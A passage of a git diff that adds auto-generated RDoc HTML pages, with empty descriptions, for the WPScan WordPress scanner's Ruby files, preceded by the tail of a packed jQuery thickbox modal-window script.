3(I==3j){3(!(14=="")){o.1h="";12()}}};16();$("#K").C();$("#1L").s(G);$("#8").r({Y:"T"})};S.L=f}n{6 l=f.2r(/^[^\\?]+\\??/,\'\');6 m=2p(l);13=(m[\'z\']*1)+30||3h;1a=(m[\'A\']*1)+3g||3f;W=13-30;V=1a-3e;3(f.O(\'2j\')!=-1){1E=f.1B(\'3d\');$("#15").C();3(m[\'1A\']!="1b"){$("#8").q("<4 5=\'2f\'><4 5=\'1H\'>"+d+"</4><4 5=\'2e\'><a u=\'#\' 5=\'Z\' Q=\'1o\'>1l</a> 1k 1j 1s</4></4><U 1W=\'0\' 2d=\'0\' L=\'"+1E[0]+"\' 5=\'15\' 1v=\'15"+1f.2c(1f.1y()*2b)+"\' 1g=\'1m()\' J=\'z:"+(W+29)+"p;A:"+(V+17)+"p;\' > </U>")}n{$("#B").N();$("#8").q("<U 1W=\'0\' 2d=\'0\' L=\'"+1E[0]+"\' 5=\'15\' 1v=\'15"+1f.2c(1f.1y()*2b)+"\' 1g=\'1m()\' J=\'z:"+(W+29)+"p;A:"+(V+17)+"p;\'> </U>")}}n{3($("#8").r("Y")!="T"){3(m[\'1A\']!="1b"){$("#8").q("<4 5=\'2f\'><4 5=\'1H\'>"+d+"</4><4 5=\'2e\'><a u=\'#\' 5=\'Z\'>1l</a> 1k 1j 1s</4></4><4 5=\'F\' J=\'z:"+W+"p;A:"+V+"p\'></4>")}n{$("#B").N();$("#8").q("<4 5=\'F\' 3c=\'3b\' J=\'z:"+W+"p;A:"+V+"p;\'></4>")}}n{$("#F")[0].J.z=W+"p";$("#F")[0].J.A=V+"p";$("#F")[0].3a=0;$("#1H").11(d)}}$("#Z").s(G);3(f.O(\'37\')!=-1){$("#F").q($(\'#\'+m[\'26\']).1T());$("#8").24(9(){$(\'#\'+m[\'26\']).q($("#F").1T())});16();$("#K").C();$("#8").r({Y:"T"})}n 3(f.O(\'2j\')!=-1){16();3($.1q.35){$("#K").C();$("#8").r({Y:"T"})}}n{$("#F").34(f+="&1y="+(1p 33().32()),9(){16();$("#K").C();1u("#F a.18");$("#8").r({Y:"T"})})}}3(!m[\'1A\']){o.21=9(e){3(e==M){I=2w.2v}n{I=e.2u}3(I==27){G()}}}}31(e){}}9 1m(){$("#K").C();$("#8").r({Y:"T"})}9 G(){$("#2Y").N("s");$("#Z").N("s");$("#8").2X("2W",9(){$(\'#8,#B,#1F\').2V("24").N().C()});$("#K").C();3(2t o.v.J.2i=="2g"){$("v","11").r({A:"1Z",z:"1Z"});$("11").r("22","")}o.1h="";o.21="";H P}9 16(){$("#8").r({2U:\'-\'+20((13/2),10)+\'p\',z:13+\'p\'});3(!(1V.1q.2Q&&1V.1q.2P<7)){$("#8").r({38:\'-\'+20((1a/2),10)+\'p\'})}}9 2p(a){6 b={};3(!a){H b}6 c=a.1B(/[;&]/);25(6 i=0;i<c.1c;i++){6 d=c[i].1B(\'=\');3(!d||d.1c!=2){39}6 e=2a(d[0]);6 f=2a(d[1]);f=f.2r(/\\+/g,\' \');b[e]=f}H b}9 2x(){6 a=o.2M;6 w=1S.2o||1R.2o||(a&&a.1Q)||o.v.1Q;6 h=1S.1P||1R.1P||(a&&a.2n)||o.v.2n;1O=[w,h];H 1O}9 1K(){6 a=2K.2J.1C();3(a.O(\'2I\')!=-1&&a.O(\'3o\')!=-1){H 1b}}',62,211,'|||if|div|id|var||TB_window|function||||||||||||||else|document|px|append|css|click||href|body||||width|height|TB_overlay|remove|TB_Counter|TB_TempArray|TB_ajaxContent|tb_remove|return|keycode|style|TB_load|src|null|unbind|indexOf|false|title|TB_NextHTML|imgPreloader|block|iframe|ajaxContentH|ajaxContentW|this|display|TB_closeWindowButton||html|goPrev|TB_WIDTH|TB_PrevHTML|TB_iframeContent|tb_position||thickbox|tb_show|TB_HEIGHT|true|length|nbsp|span|Math|onload|onkeydown|goNext|Esc|or|close|tb_showIframe|TB_imageCount|Close|new|browser|TB_FoundURL|Key|Image|tb_init|name|imgLoader|TB_NextURL|random|TB_NextCaption|modal|split|toLowerCase|TB_PrevCaption|urlNoQuery|TB_HideSelect|TB_PrevURL|TB_ajaxWindowTitle|img|addClass|tb_detectMacXFF|TB_ImageOff|150|rel|arrayPageSize|innerHeight|clientWidth|self|window|children|TB_prev|jQuery|frameborder|TB_next|getElementById|auto|parseInt|onkeyup|overflow|alt|unload|for|inlineId||100||unescape|1000|round|hspace|TB_closeAjaxWindow|TB_title|undefined|match|maxHeight|TB_iframe|bmp|gif|png|clientHeight|innerWidth|tb_parseQuery|jpeg|replace|jpg|typeof|which|keyCode|event|tb_getPageSize|show|TB_overlayBG|TB_closeWindow|TB_overlayMacFFBGHack|TB_secondLine|TB_caption|blur|TB_Image|60|tb_pathToImage|mac|userAgent|navigator|of|documentElement|Prev|lt|version|msie|gt|ready|Next|marginLeft|trigger|fast|fadeOut|TB_imageOff|hidden||catch|getTime|Date|load|safari|get|TB_inline|marginTop|continue|scrollTop|TB_modal|class|TB_|45|440|40|630|input|188|190|substr|try|area|firefox'.split('|'),0,{}))
\ No newline at end of file
diff --git a/doc/lib/browser_rb.html b/doc/lib/browser_rb.html
new file mode 100644
index 00000000..f0096ce8
--- /dev/null
+++ b/doc/lib/browser_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: browser.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../rdoc.css" rel="stylesheet" />
+
+  <script src="../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 15:51:15 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/cache_file_store_rb.html b/doc/lib/cache_file_store_rb.html
new file mode 100644
index 00000000..595a337e
--- /dev/null
+++ b/doc/lib/cache_file_store_rb.html
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: cache_file_store.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../rdoc.css" rel="stylesheet" />
+
+  <script src="../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 15:00:03 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+          <li>yaml</li>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/common_helper_rb.html b/doc/lib/common_helper_rb.html
new file mode 100644
index 00000000..32ad0d46
--- /dev/null
+++ b/doc/lib/common_helper_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: common_helper.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../rdoc.css" rel="stylesheet" />
+
+  <script src="../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 16:08:50 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/environment_rb.html b/doc/lib/environment_rb.html
new file mode 100644
index 00000000..892e4067
--- /dev/null
+++ b/doc/lib/environment_rb.html
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: environment.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../rdoc.css" rel="stylesheet" />
+
+  <script src="../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 09:22:22 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+          <li>rubygems</li>
+        
+          <li>getoptlong</li>
+        
+          <li>uri</li>
+        
+          <li>time</li>
+        
+          <li>resolv</li>
+        
+          <li>xmlrpc/client</li>
+        
+          <li>digest/md5</li>
+        
+          <li>readline</li>
+        
+          <li>base64</li>
+        
+          <li>cgi</li>
+        
+          <li>rbconfig</li>
+        
+          <li>pp</li>
+        
+          <li>typhoeus</li>
+        
+          <li>json</li>
+        
+          <li>nokogiri</li>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/updater/git_updater_rb.html b/doc/lib/updater/git_updater_rb.html
new file mode 100644
index 00000000..3f2ef9da
--- /dev/null
+++ b/doc/lib/updater/git_updater_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: git_updater.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-15 08:00:23 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/updater/svn_updater_rb.html b/doc/lib/updater/svn_updater_rb.html
new file mode 100644
index 00000000..c9e63ab0
--- /dev/null
+++ b/doc/lib/updater/svn_updater_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: svn_updater.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 15:04:12 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/updater/updater_factory_rb.html b/doc/lib/updater/updater_factory_rb.html
new file mode 100644
index 00000000..c21c33e8
--- /dev/null
+++ b/doc/lib/updater/updater_factory_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: updater_factory.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-15 08:00:46 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/updater/updater_rb.html b/doc/lib/updater/updater_rb.html
new file mode 100644
index 00000000..5554be29
--- /dev/null
+++ b/doc/lib/updater/updater_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: updater.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-15 08:00:40 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/exploit_rb.html b/doc/lib/wpscan/exploit_rb.html
new file mode 100644
index 00000000..53277be9
--- /dev/null
+++ b/doc/lib/wpscan/exploit_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: exploit.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-21 23:23:55 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/modules/brute_force_rb.html b/doc/lib/wpscan/modules/brute_force_rb.html
new file mode 100644
index 00000000..1c80c1ad
--- /dev/null
+++ b/doc/lib/wpscan/modules/brute_force_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: brute_force.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 00:10:17 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/modules/malwares_rb.html b/doc/lib/wpscan/modules/malwares_rb.html
new file mode 100644
index 00000000..89020e29
--- /dev/null
+++ b/doc/lib/wpscan/modules/malwares_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: malwares.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 15:01:32 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/modules/web_site_rb.html b/doc/lib/wpscan/modules/web_site_rb.html
new file mode 100644
index 00000000..de62cc93
--- /dev/null
+++ b/doc/lib/wpscan/modules/web_site_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: web_site.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 16:18:55 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/modules/wp_config_backup_rb.html b/doc/lib/wpscan/modules/wp_config_backup_rb.html
new file mode 100644
index 00000000..e6baa6c2
--- /dev/null
+++ b/doc/lib/wpscan/modules/wp_config_backup_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wp_config_backup.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 15:01:32 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/modules/wp_full_path_disclosure_rb.html b/doc/lib/wpscan/modules/wp_full_path_disclosure_rb.html
new file mode 100644
index 00000000..f34afed0
--- /dev/null
+++ b/doc/lib/wpscan/modules/wp_full_path_disclosure_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wp_full_path_disclosure.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-15 08:01:17 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/modules/wp_plugins_rb.html b/doc/lib/wpscan/modules/wp_plugins_rb.html
new file mode 100644
index 00000000..a957f7e9
--- /dev/null
+++ b/doc/lib/wpscan/modules/wp_plugins_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wp_plugins.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-23 20:20:17 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/lib/wpscan/modules/wp_readme_rb.html b/doc/lib/wpscan/modules/wp_readme_rb.html
new file mode 100644
index 00000000..547b53ee
--- /dev/null
+++ b/doc/lib/wpscan/modules/wp_readme_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wp_readme.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="../../../rdoc.css" rel="stylesheet" />
+
+  <script src="../../../js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="../../../js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
